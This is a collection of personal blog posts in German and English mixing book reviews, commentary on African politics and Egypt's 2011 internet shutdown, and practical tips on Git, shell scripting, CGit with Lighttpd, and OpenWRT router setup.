Wie lange dauert so ein Spiel? – die Regel 208 besagt, dass der Spieler gewinnt, der zuerst 100 Punkte erreicht. Das wird vermutlich eine der ersten Regeln sein, die abgeändert wird – also ist in der Regel überhaupt nicht abzusehen, wie schnell und in welche Richtung sich ein Spiel entwickelt.
Nomic wurde (und wird) auch viel über Mailing-Listen bzw. Diskussionsforen gespielt. Und da zeigt sich dann, dass das Spiel mehr als einen Nachmittag auffrisst: eher Jahre.
Beispiel: Agora läuft seit dem 30. Juni 1993. Bis jetzt. Und immer noch weiter.
Agora is a relatively serious nomic; many of its players see it as an experiment in philosophy, political science, and group dynamics, rather than just a game; sometimes it acts more like a country.
Wie komplex sich ein solches änderbares Regelsystem entwickeln kann, ist sehr gut an den aktuell in Agora geltenden Regeln abzulesen. So wie ich das auf den ersten Blick sehe, gibt es dort keine Unterscheidung zwischen "mutable" und "immutable" (die es zu Anfang aber gegeben haben muss, siehe die History der Regeln). Statt dessen hat jede Regel einen Power-Faktor – geregelt durch 1688/6 –, der entscheidet, wie mächtig sie ist. Regel 2140/1, "Power Controls Mutability", legt dann fest, dass "niedere" Regeln keine "wichtigen" Regeln überschreiben dürfen.
Massenhaft weitere Resourcen zu dem Spiel gibt es auf nomic.net.
Gestern frisch aus der Druckerei, jetzt hier: Heute sind meine Belegexemplare des Git-Buches angekommen! Damit ist es jetzt auch im Handel verfügbar.
Es ist ein wirklich tolles Gefühl, ein so großes Projekt abgeschlossen zu haben und das Ergebnis in den Händen zu halten. – Jetzt erst mal abwarten, wie so die Rückmeldungen ausfallen. ;-)
Habe eben das neue KIZ-Album gehört. Im Vergleich zum vorherigen ist es immerhin mal wieder hörbar, aber leider mit vielen nervigen Hooks. Gut gefällt mir der 8-Minuten-"Wir-featuren-Alle"-Track. Beste Line des Albums: "Wie watt hier Dubstep-Remix Alta, dit ist doch Polka!" – So true.
Ich hatte mir ja vorgenommen, zu dokumentieren, welche Bücher ich lese, und was ich dazu denke – ganz schön ehrgeizig! Nun fällt es mir aber schwer, alle Bücher, die ich in den vergangenen drei Monaten gelesen habe, einzeln zu beschreiben. Daher hier ein "Bookdump" der Bücher, deren Titel ich zumindest noch erinnere (denn das ist meist ein gutes Zeichen!).
le Carré: Out Kind of Traitor, ganz nett, kommt aber m.E. nicht an die früheren Bücher (z.B. "A perfect Spy") heran; dafür interessant modernes Setting – Lenin: Was tun? – Alaa al-Aswani: Der Jakubijân-Bau – Anonymous: Traktat über die drei Betrüger, für Interessierte der Religionskritik ein "Grundlagendokument" – Enzensberger: Versuch über den radikalen Verlierer, leider nur ein Versuch, ruhig überraschen lassen ohne den Klappentext zu lesen! – Schätzing: Limit, schwach, nachdem mir sein Erstling eigentlich gut gefallen hatte.
Schneller lesen, besser verstehen – In der U3 auf dem Weg zur FU Berlin sowie dort in der Mensa kann man kaum der grell-orangen Werbung entkommen, die einem den Kurs zum Besseren Lesen verkaufen wollen. Da mich das Thema interessiert, habe ich mir für einen Zehner das Buch zum Kurs gekauft. Leider (oder zum Glück!) lag ich in den Einstufungsselbsttests noch über dem, was das Buch als Ziel versprach. Es war allerdings interessant zu reflektieren, wie Menschen eigentlich lesen. Gerade für Viel-Leser an der Uni sicherlich ein Gewinn, wenn man denn die Zeit investiert...
Chomsky: Hopes and Prospects – Chomsky & Pappé: Gaza in Crisis – Die beiden neusten Chomsky'schen Essaysammlungen sind nach alter Manier langweilig und iteriert. (Was der Notwendig- und Richtigkeit der Darstellung natürlich keinen Abbruch tut! – Chomsky ist nunmal offensichtlich nicht an mitreißenden Formulierungen interessiert. Er ist Dokumentar, kein Literat.) Was allerdings in meinen Augen neu ist, ist die Aktualität, mit der Chomsky über gerade mal wenige Monate zurückliegende Ereignisse reflektiert. Auch findet er einmal ausführliche und klare Worte zum Thema Israel/Gaza, was im Wesentlichen dem entspricht, was sein Protégée Norman G. Finkelstein bisher dazu veröffentlicht hat; die Zusammenarbeit mit Pappé bereichert das Buch außerdem ungemein. Leseempfehlung, unbedingte!
Schmidt-Salomon: Jenseits von Gut und Böse – Ich hatte Schmidt-Salomon bei einer Podiumsdiskussion in der Urania vor einigen Wochen gesehen, in der er einige der Thesen seines Buches debattierte. Während sich die beiden Diskutierenden sehr an Kleinigkeiten aufhängten, hat das Buch bei mir einen sehr "vollendeten" Eindruck hinterlassen: Eine wissenschaftlich-atheistische Weltsicht, untermauert und motiviert durch Empirie und Logik. Am interessantesten fand ich übrigens das Nachwort zur fünften Auflage, wo Schmidt-Salomon das Emergenzprinzip diskutiert. – Nachdem ich diesen Versuch von Prechts, mit "Wer bin ich, und wenn ja wie viele?" Philosophie massentauglich zu vermarkten, eher nicht so gelungen fand, erscheint mit dieser offensichtlich von Nietzsche beeinflusste Titel (und nicht nur der Titel) als gelungen. In gewissem Maße ist es auch eine Anleitung zum Glücklich-sein.
It has been a little more than three months since I last posted something here in my blog. Considering that the first post ever in this blog was from 1st of January this year, this pretty much looked like a "tried to blog, but gave it up again" thing.
I was really busy, however, and was simply not able to write a single post. What really ate up all my time was my latest pet project, writing a German book about Git. Valentin (my co-author) and I worked really hard throughout the past few weeks – only got up once in a while to get something to eat and stock up on Club Mate. The book is being published at Open Source Press and will be available from the end of June. Go buy it!
Now, with a lot of free time on my hands, I can finally get back to my studies (yes, really). Also, I will devote more time to this blog. :-)
Der Nil zieht sich wie ein grünes Band durch Ägypten. Fraglos profitiert Ägypten von allen acht am Nil anliegenden Ländern momentan am meisten vom Nil, nicht zuletzt ob des gigantisch ausgedehnten Nil-Deltas. Diese Acht Länder haben sich Ende der Neunziger zu der Nil Basin Initiative zusammengeschlossen, doch die Stimmung ist alles andere als gut:
Representatives of upstream countries [Rwanda, Uganda, Kenya and others] said they were "tired of first getting permission from Egypt before using river Nile water for any development project like irrigation", as required by a treaty signed during the colonial era between Egypt and Britain in 1929.
Fefe verlinkt auf ein interessantes Interview, der auf die Tatsache hinweist, dass Ägypten in den kommenden Jahren unter massiver Wasserknappheit leiden wird. Das geht auf eine Vertragsunterzeichnung Burundis letzte Woche zurück:
Burundi has now joined Uganda, Rwanda, Tanzania, Ethiopia and Kenya in agreeing to the deal, which seeks to strip Egypt of its long-held rights to the Nile.
Wie krass sich die Situation daher für Ägypten (und besonders die großen Städte am Nil-Delta) zuspitzen wird, kann man daran erkennen, wie sehr sich die Ägypter momentan am Nilwasser bedienen:
Egypt’s 80 million inhabitants draw about 90 percent of their water needs from the Nile. Cairo maintains that, even by the favourable terms of current agreements, its water needs cannot be met by the Nile alone after 2017.
Es gibt so gut wie keine Ägypter, die nicht auf den Nil angewiesen sind:
[T]he Nile Valley and Nile Delta are the most important regions, being the country's only cultivable regions and supporting about 99% of the population ...
Wenn dieser Vertrag von den Ländern stromaufwärts ratifiziert wird, dann könnte das gut die Grundlage des ersten ernsthaften und in aller Öffentlichkeit ausgetragenen Wasserkrieges werden. – Im Gegensatz zu Gaza und der West Bank, wo die Intention Israels, den Palästinensern die Wasserzufuhr abzuschneiden, häufig vernachlässigt wird.
If you need to name a blob by name, you can't trust Git to honor the
current working directory. If you are in a subdir, git show
HEAD^:file
won't work unless you prepend the subdirectory name.
But there's a sort of basename
for absolute paths within a Git repo:
git ls-tree --name-only --full-name HEAD file
This honors $PWD
and thus returns a pathname that's unique across
the repository. You can build a simple "diff to previous version"
script with this now:
#!/bin/sh
test ! -z "$1" || exit 1
temp=${1%.*}.HEAD^1.$$.${1#*.}
fullpath=`git ls-tree --name-only --full-name HEAD^ $1`
test ! -z "$1" || exit 2
echo "extracting '$fullpath' from HEAD^..."
git show HEAD^:$fullpath > $temp
vim -fd $1 $temp
echo "cleaning up..."
rm $temp
This can act as a simplified mergetool
when you just want to
review changes made to some file.
Al Jazeera hat einen interessanten Artikel, der die Tunesische bzw. Ägyptische Revolution und die Bedeutung für den afrikanischen Kontinent beleuchtet – im Gegensatz zum Großteil der Medien, die nur über die Implikationen für die Islamische Welt und Israel berichten.
Denn 2011 ist quasi das "Mega-Wahljahr" für den afrikanischen Kontinent, denn:
Elections are scheduled in more than 20 countries across the continent, including Zimbabwe and Nigeria.
Eine wichtige Erkenntnis ist natürlich die folgende:
"I think it's important to keep in mind that African youth are far more plugged in than most people realise. The spread in mobile phones has made it possible for people to connect to applications like Facebook or Twitter on their telephones," says Nanjala [a political analyst at the University of Oxford]...
Während das in den nordafrikanischen Staaten anscheinend wirklich der Fall ist, konnte ich dieses Phänomen in Tansania bzw. den umliegenden Ländern nicht beobachten; dort ist zwar eine Teils sehr gute Mobilfunkinfrastruktur vorhanden – die Telefone aber sind in den seltensten Fällen Smartphones, und die Provider bieten meist keinen Internetzugang an.
Nanjala hat einen weiteren guten Punkt, der gerade auch im deutschen Sprachraum häufig falsch verstanden wird (siehe "Twitter- und Facebook-Revolution"):
"At the same time, I think most analysts are overstating the influence of social media on the protests."
Wesentlich ist nicht Facebook, sondern die Kommunikation. Was für die Jugendlichen vor ein paar Jahren noch Foren, und vor ein paar mehr Jahren noch E-Mail und Newsgruppen – das sind heute Facebook und Twitter. Es ist also vielmehr eine "Vernetzungsrevolution", ganz unabhängig von der verwendeten Plattform. Man nutzt nunmal, was man hat.
"There are lots of Africans too who are young, unemployed, who see very few prospects for their future in countries ruled by the same old political elite that have ruled for 25 or 30 or 35 years," says CSM [Chrstian Science Monitor] Africa bureau chief Scott Baldauf.
Diese Situation ist natürlich vor allem in den von Landflucht schwer destabilisierten Hauptstädten der Länder prävalent. Die Frage ist nur: Wird sich die Revolution auch "entzünden", oder bleibt es bei einigen wenigen Protestlern?
Und da spricht Baldauf einen sehr wichtigen Punkt an, den man nicht vernachlässigen darf:
"All the same dry wood of bad governance is stacked in many African countries, waiting for a match to set it alight," says Baldauf. "But it takes leadership. It takes civil society organisation," something the CSM Africa bureau chief fears countries south of the Sahara do not have at the same levels as their North African neighbours.
So eine Revolution passiert nicht einfach so. Auch wenn das alles sehr spontan aussieht auf den Bildern und in den Berichten – dahinter steckt eine unglaubliche Menge an Organisation, die mit einer gleichsam starken Willensstärke (meist geprägt durch Hass statt Resignation) ausgeführt wird.
Apropos: Im Osten Libyens scheint diese Selbstorganisation ziemlich gut zu funktionieren. Wie das so nach einer Revolution aussieht, kann man bei dieser Fotostrecke der Zeit sehen, die meisten der Fotos sind aus Bengasi, einer Hafenstadt im Osten Libyens, in der ca. ein Zehntel der libyschen Bevölkerung lebt.
Git's rerere is immensely useful. However, if you erroneously
record a wrong conflict resolution, it's not entirely clear how to
delete it again. The preimage file is stored under
$GIT_DIR/rr-cache/some-sha1-sum/preimage
, which is not a convenient
place to look for that one wrong resolution if you have hundreds of
them. ;-)
However, v1.6.6-9-gdea4562
introduced rerere's forget
subcommand,
which was not documented until recently (v1.7.1.1-2-g2c64034
). So
when rerere replays a wrong resolution onto your file, simply use git
rerere forget path/to/file
to forget the wrong resolution.
To (temporarily) replace the resolved version with the originial
version containing conflict markers, use git checkout -m --
path/to/file
. You can then issue a git rerere
to replay the
resolution again.
I am stuck in a course about computer algebra systems. We are using Singular. I searched for some minutes how to switch on the vi mode on the Singular command line, but apparently, there is none.
However, since Singular uses the GNU readline libs, you can simply switch to vi mode with Ctrl-Meta-j. – How convenient is that. I wonder if there's a possibility to configure readline to switch to vi mode by default.
Update 2015-03-25: Markus informs me that to enable
Vi mode by default, write the line set editing-mode vi
into your ~/.inputrc
(or the global /etc/inputrc
).
Note to self: It is bad to rely on Git's magic of finding out whether you can fast-forward when doing a merge. The more clever way is to explicitly state what you want to do with aliases:
nfm = merge --no-ff # no-ff-merge
ffm = merge --ff-only # ff-merge
I stumbled upon this today when I played around with subtree merges.
Strangely, the results with the strategy subtree
were not the same
as with recursive
's subtree=path
option:
$ git merge -s recursive doc
$ git merge -Xsubtree=Documentation doc
Turns out that – in the special case I had created – Git could fast-forward the branch although it was a subtree merge, effectively ignoring any strategy option. Duh. I had already read, understood and tried all the tests related to merging before I had figured that out.
I like small, clean software, that focuses on keyboard usability. PWMT, "programs with movie titles", has a nice and fast(!) PDF viewer called Zathura. The user interface looks just like Vimperator (or Vimprobable, for that matter). I like!
The config file syntax is not documented. (Only on the web site, which
is not available at the moment.) So you'll have to change the colors
within the code itself. libpoppler-glib-dev
is required to
build Zathura.
Ich habe Freitag bei Arte die deutsche Übersetzung eines Dokumentarfilmes über Mineralienhandel im Kongo (DR), "Blood In the Mobile" gesehen. Der Film beleuchtet den folgenden Sachverhalt:
Der Film bietet diverse beeindruckende Bilder. So zum Beispiel am Anfang die Korruptionsszene mit dem Wasserverkäufer, oder die provisorischen Dörfer und Grenzposten (mit Plastikstühlen) nahe der Minen. Die Szenen im eigentlichen Bergwerk sind bestürzend. In dem Teil der Doku, der im Osten des Kongo spielt, sprechen die Leute sehr viel Kiswahili.
An dieser Stelle möchte ich gerne auf das Kongo-Echo hinweisen, das Blog des taz-Korrespondenten Dominic Johnson. Dort schreibt er regelmäßig zu Themen, die vor allem den Ostkongo betreffen. Unter anderem über folgendes:
Können Unternehmen, die Rohstoffe aus den Kriegsgebieten im Osten der Demokratischen Republik Kongo, wegen Mitverantwortung für Kriegsverbrechen dort haftbar gemacht werden?
Im September 2010 hatte der kongolesische Präsident Joseph Kabila ein Bergbauverbot für den gesamten Ostkongo verhängt (Kongo-Echo dazu: Teil 1, Teil 2, Teil 3).
Ich finde den Kongo faszinierend, und würde gerne einmal dahin reisen. Allerdings kann ich das in absehbarer Zeit noch nicht verwirklichen – nicht, weil es zu gefährlich ist, sondern weil man im Zweifelsfall sehr viel Geld braucht (sprich: hundert oder mehr Dollar am Tag), um entsprechende Bestechungsgelder zu zahlen. Sonst kommt man da als Weißer möglicherweise in sehr hässliche Situationen, je nachdem wo und wie man dort lang reist. Ich habe mal einen sehr guten Reiseführer über DR Congo und Congo-Brazzaville gelesen, den ich nur jedem empfehlen kann, der dort hin reisen will.
There are different approaches 'round the net on how to deal with git remote tracking branches in an effecient way. Some people have written Ruby gems (uggh) that introduce lots of not-so-intuitive git subcommands to manage all kinds of tracking branches.
In recent versions of Git however, I have no need for these scripts. I can live with the following aliases:
lu = log ..@{u}
ft = merge --ff-only @{u}
track = branch --set-upstream
To track a branch, I enter git track master origin/master
, for
example. (By the way, if you create a new branch and want to push it
to a remote, use push -u
– it will automatically set up your
current branch to track the remote branch you just created.)
Then, my regular workflow looks like this:
$ git remote update # fetch changes
$ git lu # log ..upstream -- review changes
$ git ft # ff tracking branch -- integrate
The key here is using @{u}
, which is a short form of @{upstream}
,
a reference to the upstream branch (that is, the branch your HEAD
is
tracking). This special notation first appeared in Git 1.7.0.
If you're not sure about the current status of your branches and what
they are tracking, simply use git branch -vv
. You'll find the
tracking information in brackets just before the commit description.
Lacher bei der Sonntagabendlektüre der taz: Der Geschäftsführer der Mozilla-Foundation auf die Frage, was das Besondere an Firefox sei:
Unser Browser ist schneller, ...
Das erinnert mich irgendwie an diesen Witz -- man muss nur einen viel langsameren Konkurrenten auftreiben, schon erscheint Firefox schnell. Wobei... sogar der Internet-Explorer scheint mir heutezutage ähnlich schnell zu sein.
I got a call yesterday – from Egypt. It was around noon local time, i.e. shortly after Egypt's government had restored regular internet access (see also, more graphs). At the time of the call, I didn't know that, though.
The guy asked me whether I could help him set up DNS tunneling. Today, he called again and inquired how things were going. He told me he wanted to have a backup internet connection if things would get messy again.
I think, however, that DNS tunneling wouldn't be able to bypass the internet block. On the day of the shutdown (Jan 27th, shortly before midnight UTC),
"Approximately 3,500 individual BGP routes were withdrawn, leaving no valid paths by which the rest of the world could continue to exchange Internet traffic with Egypt's service providers, ... Virtually all of Egypt's Internet addresses are now unreachable, worldwide."
For a more technical analysis, see this BGPmon blog post.
What this means is that Egypt was essentially split off the net. Thus, even a DNS query from inside Egypt (which would be relayed to a server in, say, Germany) could not be forwarded by the provider's DNS servers. Neither could a DNS request from Germany reach a name server located in Egypt. This blog post claims that the providers did shut down DNS access as well (which wouldn't matter much in that situation, anyway).
So, to evade this blockade (i.e., IP won't get routed) it takes more than just trying to sneak data out using covert IP channels.
There are other methods, of course. Protesters set up a voice to tweet converter:
"Over the weekend we came up with the idea of a speak-to-tweet service – the ability for anyone to tweet using just a voice connection," they said.
Voice mail messages left at +16504194196; +390662207294 or +97316199855 will instantly be converted into text messages, referred to as tweets, and posted at Twitter with an identifying "hashtag" of
#egypt
.
You could use other radio infrastructure as well to communicate with other countries, which would then feed your data stream into the net. That's not possible on a large scale and for the typical user, however.
It's been bothering me for years. There are a lot of file types that
are essentially plaintext, but are labeled differently to make the
browser's/mailer's decision easier which program is best to handle
this type of file. For example, text/x-diff
.
Now, how hard could it be to include a little checkbox "display in browser" in the file download dialog? I mean, it's text after all. But, apparently, it is quite hard. Yes, that's no display failure, that thing has been suggested at the end of 1999 and the bug report pushed back and forth since then. Stupid morons.
However, there's a nice addon which does just this job.
On a related note, since the last upgrade, opening context or dropdown menus will take Firefox up to 30 seconds sometimes. No heavy CPU or disk usage, the application just freezes.
I hope I'll find some time during the next few weeks to migrate to a saner alternative.
This whole Google jQuery autosuggestion bothers the hell out of me. I mean, why would you use several keystrokes and possibly the mouse to find a page, continuously requesting suggestions in the background?
Often I use Google to find a page I can pretty safely identify with some simple keywords. For example, in an IRC conversation I want to give someone a link to Al Jazeera's page about current events in Egypt.
Stupid way: 1. fire up browser, 2. enter search terms in address bar (:tabopen in Vimperator), 3. wait for the kilobytes to trickle through the line, 4. find your way around the page, 5. select link, 6. copy it somehow, 7. switch back to IRC window, 8. paste URL. Estimated time amount: ranging from anywhere between 10 seconds to 30 seconds.
Clever way: write a shell script to extract "I am feeling lucky" result.
#!/bin/sh
test -z "$1" && exit 1
URL="`curl -s -i -e 'http://www.google.com' -A 'Firefox 23' \
-G -d hl=en -d btnI=lucky --data-urlencode q=\"$1\" \
http://www.google.com/search | grep '^Location:' | \
head -n 1 | cut -d' ' -f2 | tr -d '\r\n'`"
echo -n "$URL" | (xclip -i -display :0 -loops 0 ) &
/home/feh/bin/notify-wrapper "Google 1st result" "$URL"
(Footnote: You need a more or less sensible User-Agent string (-A
) as
well as a request on www.google.com, otherwise you won't be served a
result.)
Then, bind a key to open a prompt in which you'll enter your search term. For awesome, this is:
awful.key({ modkey }, "g",
function ()
awful.prompt.run({ prompt = "Google: " },
mypromptbox[mouse.screen].widget,
function (s)
awful.util.spawn("/home/feh/bin/glucky '" .. s .. "'")
end,
nil, nil)
end
),
The notify-wrapper
script uses DBus's notify-send
to make a little
notification box appear as soon as the URL is retrieved (which is,
like, instantaneous).
Clever way works like this now: 1. Press Mod1-g, 2. enter search term, 3. paste URL. Time you need to find a popular link: Time to type search string + 1 second. Huge time saver.
I finally found some time to update the git version used on my server. It's running a 1.7.1 now, which is just slightly better than the previous 1.5 version. ;-)
Debian package maintainers bother me again, though. The simply erase
the git
user and put a gitdaemon
user in it's place, without
asking for confirmation. Will probably happen with the next upgrade,
too...
Now, having a recent git version enables me to set up gitolite instead of the old gitosis. Setup is easy, straight-forward and described in many places.
I used this script to convert my existing gitosis.conf
to match
gitolite's syntax; I noticed a major hiccup though: setting a
description automatically enables gitweb access. I had to read
the source to find this out, because I couldn't remember it from the
docs and it didn't once cross my mind that you could actually want
the behaviour to be like that. – As in, you could just describe
a project without wanting to make it public – no?
However, with gitolite, I can finally use CGit too (because only
gitolie produces a repositories.list
which is in the format that
CGit understands, ie. without description appended to the lines).
So now the repository page is all new and shiny. See, for example, this side-by-side diff. Nice, and faster than Gitweb.
Integrating CGit with Lighttpd was another two-hour fiddle-try-fail-repeat session. I finally came up with this snippet:
$HTTP["host"] =~ "^git\.(plenz\.com|feh\.name)(:\d+)?$" {
alias.url = (
"/cgit.css" => "/usr/share/cgit/cgit.css",
"/cgit.png" => "/usr/share/cgit/cgit.png",
"/cgit.cgi" => "/usr/lib/cgi-bin/cgit.cgi",
"/" => "/usr/lib/cgi-bin/cgit.cgi",
)
cgi.assign = ( ".cgi" => "" )
url.rewrite-once = (
"^/cgit\.(css|png)" => "$0",
"^/.+" => "/cgit.cgi$0"
)
}
It's important here that you noop-rewrite the CSS and PNG file to
make Lighty expand the alias. Also, rewriting to an absolute filepath
won't work; that's why the cgit.cgi
aliases have to appear twice.
Man kann sich nur schwer klarmachen, wie verlassen und unterentwickelt manche Landstriche in Afrika sind, vor allem abseits der Küstenlinien.
Angesichts der Abstimmung über die Abspaltung des Südsudan, die Anfang Januar stattfand, sieht man das aber wieder sehr gut. Al Jazeera zieht einen anschaulichen Vergleich:
UN helicopter crews will assist organisers in picking up ballot papers from the remote countryside of a vast, underdeveloped region which has just 40km (25 miles) of paved road for an area the size of France and Belgium combined.
Heftig, heftig. Siehe auch diese Auflistung von Ländern, sortiert nach Straßendichte, auf der der Sudan auf Platz 168 von 175 liegt, vor Mali, Niger, Tschad (genau so sehr Wüstenstaaten wie der Sudan) und – Grönland.
If you have a file that's unknown to git (ie., it appears in the
"untracked" section of git status
), and you want to add only part of
the file to the index, git won't allow it: No changes.
Instead, mark the file for adding, but without adding any actual line:
$ git add -N file
$ git add -p file
-N
is short for --intent-to-add
and does just that: Create an
index entry with an empty content field.
Eben im Park beim Joggen überhört: "Die beschissene Welt wird ihre Strafe noch bekommen..." Normalerweise würde ich mich wundern, wenn jemand so etwas vor sich hin murmelt. Allerdings war er mit seinem Hund unterwegs. – Ich glaube, die meisten Leute, die alleine mit ihrem Hund gehen, denken so.
Das Neue Album von Pi ist draußen. Und es spricht mir aus dem Herzen:
Alle sind unzufrieden, doch ich find's eigentlich okay ... krempel' die Ärmel hoch, hab genug vom Gemecker, geh raus – Sonnebrille auf, es ist Bombenwetter!
Interessanter Artikel in der Telepolist über Ausflaggung (via). Und wie immer: Wenn man genauer hinschaut, wird's unappetitlich:
Das Schifffahrtsregister des Staates Liberia ist nicht etwa in Afrika, sondern in Reston im US-Staat Virginia ansässig. Wer sein Schiff nach Liberia ausflaggt, muss also nicht in die Bürgerkriegs- und AIDS-Metropole Monrovia reisen, sondern kann ganz bequem über das Internet in den USA gleich die zughörigen Briefkastenfirmen mitbuchen. Von diesem Angebot machen auch deutsche Schiffsreeder bei 427 Schiffen Gebrauch - dass dadurch der Bürgerkrieg in Liberia und Sierra Leone mit Genehmigung des deutschen Verkehrsministeriums quersubventioniert wird, ist dabei nur eine weitere Unappetitlichkeit im Flaggenstreit.
Nun, dass mit dem "AIDS-verseuchte Metropole" würde ich angesichts einer geschätzten HIV-Infektionsrate von weniger als 2% in ganz Liberia mal als gutgemeinte Übertreibung ansehen, da gibt's ja Städte, die fünf- bis zehnmal so hohe Infektionsraten haben.
Der zweite Bürgerkrieg ist 2003 zu Ende gegangen (das war einer dieser Bürgerkriege, die den Filmen über Kindersoldaten Vorbild stehen). Aber schön sind die Zustände dort noch keinesfalls:
Of course, children are raped everywhere, but what is happening in Liberia is different. The war seems to have shattered norms and trained some men to think that when they want sex, they need simply to overpower a girl. Or at school, girls sometimes find that to get good grades, they must have sex with their teachers.
“Rape is a scar that the war left behind,” said Dixon Jlateh, an officer in the national police unit dealing with sexual violence. “Sexual violence is a direct product of the war.”
Aber solche kleine Unannehmlichkeiten kann man doch getrost ignorieren – so schlimm wird's nicht sein, und die Büros kann man ja in den USA betreiben.
Immer dieses beschissene Hintenrum.
Convert 0x53
to binary, quick! – Now you start to think: In
which language could you implement a dec2bin
function within a few
seconds? Or just do it with pen and paper, old school?
But wait, there's poor man's dec2bin
!
$ echo -n "\x53" | xxd -b
0000000: 01010011
;-)
Normally, I use the following line in Git's pre-commit hook:
git diff --cached --check || exit 1
This makes a git commit
abort if there are any whitespace-related
errors. However, if you have code that already has whitespace issues,
you can simply pass an option to git rebase
to automatically correct
them:
git rebase --whitespace=fix reference
N.B.: Rebase just passes this argument to the git apply
command.
Often, if you need to know which files are accessed during the startup of an application, you are stuck searching for them in the manpage. Also, probably not all of them are documented there.
I use strace to find these files:
strace -efile /usr/bin/program 2>&1 1>/dev/null | grep ^open | cut -d\" -f2
Note that unless you place the grep
expression in between this will
give you all syscalls that involve files, i.e. also simple checks
whether a file exists or has a certain permission set.
Ich versuche, von nun an jedes Buch, das ich gelesen habe (und lesenswert finde) hier mehr oder weniger ausführlich zu besprechen.
Gerade eben bin ich mit dem Buch "Wohlstand für viele" von Jeffrey D. Sachs fertig geworden. Das Buch könnte man wohl gut als populärwissenschaftliche, breit aufgestellte Einführung in Makroökonomie, Geographie und Umweltschutz bezeichnen. In jedem Fall lesenswert!
Sachs, der unter anderem vier Jahre Lang leider des UN-Projektes zur Umsetzung der Millenium-Entwicklungs-Ziele war, beschreibt anhand vieler Beispiele im großen und kleinen, wie funktionierende internationale Zusammenarbeit zu Themen wie Umweltschutz, Klimawandel oder Entwicklungshilfe ausehen sollte.
Viele der Phänomene und Probleme, die Sachs anspricht, kannte ich bzw. habe sie schon selbst erlebt in Tansania. Zwei Sachen waren allerdings fast völlig neu für mich:
Sachs erläutert außerdem einige Thesen, die nicht gerade neu, aber auch nicht wirklich im Bewusstsein der Öffentlichkeit verankert sind: Dass das Öl ausgeht, ist nicht das Problem, sondern, dass wir zu langsam auf neue Energieträger migrieren; Ein Umschwung im Kampf gegen den Klimawandel kann man beschleunigen, wenn man nur entsprechende finanzielle Mittel für die Forschung bereitstellt; Entwicklungshilfe führt nicht zu apathischer Empfängermentalität in Drittweltstaaten; Gut geplante und entsprechend finanzierte Entwicklungshilfeprojekte lassen sich durchaus in großem Stile (also z.B. landesweit, und nicht nur regional stark begrenzt) erfolgreich durchführen; Erwirtschaftung von Reichtum muss nicht auf Kosten Mittelloser (sprich: Ausbeutung) basieren.
Interessanterweise preist Sachs besonders Informationstechnologie als Entwicklungskatalysator an. Das Internet auf der einen Seite, vor allem aber unterstreicht er wiederholt die Nützlichkeit eines funktionierenden Mobilfunknetzes, gerade in ländlichen Regionen. (Siehe auch die Grameen Bank, die "Erfinder der Mikrokredite", die das Projekt "Village Phone" initiiert haben.) – Dass Kommunikationstechnologie ein solcher Entwicklungskatalysator ist, war mir zwar klar, allerdings hatte ich bisher nie das Gefühl, dass das auf "höheren Ebenen" und von den (meist älteren) Leuten, die etwas zu sagen haben, auch so gesehen wird.
Das Buch ist leider wenig kritisch. Es wird nie adäquat auf die Rolle von großen Lobbyorganisationen und Interessensverbänden eingegangen, die die Politik häufig in Bahnen lenken, die nicht unbedingt vom (kritischen) Volk gutgeheißen werden. Leider scheint doch vielfach das Bild des "Zahnlosen Papiertigers UN" durch.
Ich wollte eben Bücher bei Amazon bestellen. Hopes and Prospects von Noam Chomsky erscheint aber im Taschenbuch erst in ein bis zwei Wochen.
Auf der Bestellseite hat mir Amazon dann mitgeteilt, dass alle Bücher gemeinsam versandt werden (also auch die anderen erst ankommen werden, wenn Hopes and Prospects erschienen ist) – und wenn ich das getrennt versenden lassen würde, tät's mehr kosten.
Da lass ich mich doch nicht lumpen – ich habe einfach zwei Einzelbestellungen aufgegeben. Komisches Konzept.
Ich beobachte schon seit geraumer Zeit die Giordano-Bruno-Stiftung. Interessantes Detail aus dem Jahresrückblick:
Auch die von der gbs mitinitiierte Kampagne "Asyl für Ex-Muslime" konnte 2010 einen ersten Erfolg verbuchen: Siamak Zare, Gründungsmitglied des Zentralrats der Ex-Muslime, erhielt 2010 den Flüchtlingsstatus, womit erstmals behördlicherseits anerkannt wurde, dass auch religionsfreie Menschen religiös verfolgt werden.
Der Sprecher der Stiftung, Michael Schmidt-Salomon, hat außerdem für die Stiftung das lesenwerte Manifest des evolutionären Humanismus geschrieben.
With a new kernel, /proc/acpi/battery/*
was suddenly missing. Turns
out it the interface is is deprecated but can be turned on with a
config option at compile time. The same information is available in a
different form in the /sys
filesystem.
I didn't see that coming; almost all programs I use to check the battery state fail. It had been announced, actually:
The correct way is for upstream to announce the change in feature-removal-schedule.txt, which they did 2 years ago.
That's roughly how the Vogon Hyperspace Planning Council operates. Stubborn dev replies:
If the tools are not able to use them, it is their bug. No bug in the kernel.
However, after updating vicious and adjusting some API changes, everything works fine again.
Petition: Netzzugang – Rechtsnorm für Zugang zu kabellosen Netzwerken:
Derzeit ist der Betreiber eines WLAN auf Grund der Rechtsprechung verpflichtet, sein Netzwerk mit der verfügbaren Technik gegen Zugriffe Dritter zu sichern. Obwohl dem Gesetzgeber bekannt ist, dass die Verschlüsselungsmethoden erfolgreich angegriffen wurden, droht dem Besitzer eines WLAN-Zugangspunkt ggf. Repressionen zivil- oder strafrechtlicher Natur, wenn er auf eine Verschlüsselung verzichtet und sein WLAN im Sinne einer sozial gerechten Gesellschaft teilt.
The old and cheap wifi router we used in our flat got buggy; it had some 20% packet loss at times, and the LAN clients were not able to make connections to each other (only WAN connections were possible).
So I dug up my old WRT54G, reset the factory settings, and used that one as access point. This worked for about one week; today, when I came home, the internet connection would not work any more.
Ping statistics from the router (delivered to the web interface) showed that the internet connection was established. However, the router would not forward internet traffic from the LAN.
An hour ago I installed OpenWRT. I had been using it some years ago and was astonished that "White Russian" is still the stable release. Anyhow, there's a web interface now which is pretty nice. (With a link "Review settings", where you'll get a shell script that will get executed once you hit "apply" – nice if you want to find out the commands!)
There was some manual work to do, I leave this for search engines in case someone else has these issues.
WPA2-PSK setup
WPA2 is not natively supported. Although the nvram keys exist, the
wifi driver cannot use them properly. iwconfig
will display
Encryption key:off
regardless of what you configure.
To make WPA2 work, install the nas
package (documentation). The
/etc/init.d/S41wpa
script actually manages WPA2 settings (and
retrieves the configuration keys from nvram):
# ipkg install nas
# /etc/init.d/S41wpa restart
The relevant nvram keys for my wireless are:
wl0_akm=psk psk2
wl0_crypto=tkip+aes
wl0_ssid=...
wl0_wpa_psk=...
PubKey Authentication with DropBear
Simple, once you know it:
$ scp ~/.ssh/id_dsa.pub root@192.168.1.1:/etc/dropbear/authorized_keys
NTP
Keep up to date!
# nvram set ntp_server=time.fu-berlin.de
